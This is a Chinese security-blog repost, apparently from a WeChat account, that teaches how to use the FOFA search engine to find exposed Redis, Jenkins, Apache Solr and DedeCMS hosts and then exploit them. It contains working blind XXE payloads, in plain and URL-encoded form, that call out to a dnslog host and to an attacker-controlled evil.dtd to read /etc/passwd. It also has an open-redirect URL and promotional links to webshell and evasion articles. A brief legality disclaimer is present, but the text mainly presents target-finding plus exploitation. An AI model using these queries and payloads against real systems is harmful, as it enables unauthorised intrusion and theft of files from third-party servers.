巧用FOFA挖到你的第一个漏洞
2022-8-13 10:11:36 Author: 渗透安全团队(查看原文) 阅读量:78 收藏

FOFA是一款非常强大的搜索引擎

关于对于fofa的描述是:FOFA(网络空间资产检索系统)是世界上数据覆盖更完整的IT设备搜索引擎,拥有全球联网IT设备更全的DNA信息。

探索全球互联网的资产信息,进行资产及漏洞影响范围分析、应用分布统计、应用流行度态势感知等。

相对于shodan来说fofa的优点就是更加本土化,拥有更多的域名数据,建立了全球最大的资产规则集,而且现在已经更新了识别蜜罐的功能。

fofa的功能这么强大,那我们要怎么利用好提供的功能来挖洞呢?

fofa官方提供了一些基本语法:

而真正高效的用法就是灵活使用逻辑运算符,fofa可以使用高级搜索:括号 和 && || !=等符号进行指纹的组合。

比如我们想搜索开放3389端口并且位于中国的IP,对应的语法就是port="3389" && country=CN

下面就展示一些利用fofa来刷洞的过程。

不过在这之前一定要注意,遵守法律法规,不要作出破坏性的行为,不要做未授权的测试。

不然...嘿嘿嘿、有个地方包吃包住还送白金手镯。

下面的例子,就是利用fofa来刷洞的例子,少年发挥你的想象力吧。

1、Redis未授权fofa语法搜索:

port="6379"

直接nc 连 6379端口

输入命令info返回了redis基本信息

2、Jenkins 未授权

fofa语法搜索:

port="8080" && app="JENKINS" && title=="Dashboard [Jenkins]"

在默认情况下Jenkins面板中用户可以选择执行脚本界面来操作一些系统层命令。

所以jenkins未授权的危害非常大。

执行一下命令:

3、Apache solr XML 实体注入漏洞

Apache Solr 是一个开源的搜索服务器。

Solr 使用 Java 语言开发,主要基于 HTTP 和 Apache Lucene 实现。

原理大致是文档通过Http利用XML加到一个搜索集合中。

查询该集合也是通过 http收到一个XML/JSON响应来实现

fofa语法搜索:

app="Solr" && port="8983"

找到了目标ip进入主界面

可以看到版本小于7.0,所以可能存在xxe

进入搜索框,切换成搜索xxe

BP抓包

构造payload尝试外带,外带地址是dnslog:qmurld.dnslog.cnpayload:

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE root [
<!ENTITY % remote SYSTEM "http://qmurld.dnslog.cn/">
%remote;]>
<root/>&wt=xml&defType=xmlparser

将payload进行url编码

%3C%3Fxml%20version%3D%221.0%22%20encoding%3D%22UTF-8%22%3F%3E%0A%3C%21DOCTYPE%20root%20%5B%0A%3C%21ENTITY%20%25%20remote%20SYSTEM%20%22http%3A//qmurld.dnslog.cn/%22%3E%0A%25remote%3B%5D%3E%0A%3Croot/%3E&wt=xml&defType=xmlparser

发现外带成功,所以存在xxe漏洞

因为是Blind xxe,所以在需要在vps服务器上构造恶意的dtd

放在服务器上的evil.dtd

<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % ent "<!ENTITY data SYSTEM ':%file;'>">

BP请求的内容

<?xml+version="1.0"+?><!DOCTYPE+root[<!ENTITY+%+ext+SYSTEM+"http://vps的ip地址:端口/evil.dtd">%ext;%ent;]><r>&data;</r>

请求的内容也需要进行url编码

%3C%3fxml+version%3d%221.0%22+%3f%3E%3C!DOCTYPE+root%5b%3C!ENTITY+%25+ext+SYSTEM+%22http%3a%2f%2f ip:port %2fevil.dtd%22%3E%25ext%3b%25ent%3b%5d%3E%3Cr%3E%26data%3b%3C%2fr%3E

发现已经成功读取到/etc/passwd

4、dedecms url跳转漏洞

先在fofa语法搜索

body="/plus/download.php"

在后面加入链接/plus/download.php?open=1&link=aHR0cDovL3d3dy5iYWlkdS5jb20%3D跳转到百度,

百度url要base64编码

成功跳转

更多的姿势还需要多多发挥想象力,去组合,去找到对应漏洞的特征。

转自作者:Vendetta2

地址:https://www.freebuf.com/sectool/268365.html

免责声明
由于传播、利用本公众号渗透安全团队所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,公众号渗透安全团队及作者不为承担任何责任,一旦造成后果请自行承担!如有侵权烦请告知,我们会立即删除并致歉。谢谢!

星球的最近主题和星球内部工具一些展示

欢迎加入星球!

关 注 有 礼

关注下方公众号回复“666”可以领取一套精品渗透测试工具集和百度云视频链接。

 还在等什么?赶紧点击下方名片关注学习吧!


群聊 | 技术交流群-群除我佬

干货|史上最全一句话木马

干货 | CS绕过vultr特征检测修改算法

实战 | 用中国人写的红队服务器搞一次内网穿透练习

实战 | 渗透某培训平台经历

实战 | 一次曲折的钓鱼溯源反制

好文分享收藏赞一下最美点在看哦

文章来源: http://mp.weixin.qq.com/s?__biz=MzkxNDAyNTY2NA==&mid=2247490255&idx=1&sn=3f5f64e8cea047d9b9176fba177e2dbe&chksm=c175e760f6026e762ce3b5586310c65d03db96adf899e64e2637b334431bb2d166fa75f3c2ac#rd
如有侵权请联系:admin#unsafe.sh